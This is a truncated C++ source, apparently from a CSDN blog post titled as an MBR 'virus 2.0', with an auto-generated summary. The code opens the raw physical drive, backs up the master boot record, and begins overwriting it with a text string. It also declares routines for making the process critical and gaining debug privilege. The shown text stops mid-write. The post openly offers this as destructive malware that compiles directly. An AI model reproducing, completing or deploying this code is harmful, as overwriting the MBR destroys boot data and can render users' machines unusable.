#include <iostream>
#include <windows.h>
#include <cstdlib>
#include <ctime>
#define size 512 // 一个扇区512字节
bool EnableDebugPrivilege();
typedef NTSTATUS(__cdecl *fnRtlSetProcessIsCritical)(IN BOOLEAN NewValue, OUT PBOOLEAN OldValue OPTIONAL, IN BOOLEAN CheckFlag);
fnRtlSetProcessIsCritical pRtlSetProcessIsCritical;
using namespace std;
int main(void)
{
int a,r;
float key;
/* 文件流 */
FILE *DiskFile;
FILE *File;
/* MBR */
unsigned char *DiskCode;// 要写入的MBR
unsigned char MBRCODE[size]={0};// 备份MBR
/* 准备写入的MBR */
DiskCode=(unsigned char*)" 紫玫冰心 ";
/* 获取文件流 */
DiskFile=fopen("\\\\.\\PhysicalDrive0","rb+");
if(!DiskFile)
puts("Can't open file!");
else if(!feof(DiskFile))
{
/* 移动到MBR的位置 */
fseek(DiskFile,0,SEEK_SET);// MBR的位置(0柱面 0磁道 1扇区)
fread(MBRCODE,1,size,DiskFile);// 备份MBR
/* 移动到MBR的位置 */
fseek(DiskFile,0,SEEK_SET);//
C++改MBR病毒2.0(经过编译)
最新推荐文章于 2024-08-23 10:59:43 发布
这是一个C++编写的程序,已通过编译测试,能够直接生成可执行文件。该程序具有覆盖磁盘扇区的功能,操作需谨慎。请注意,使用此类程序可能对数据安全造成影响。
摘要由CSDN通过智能技术生成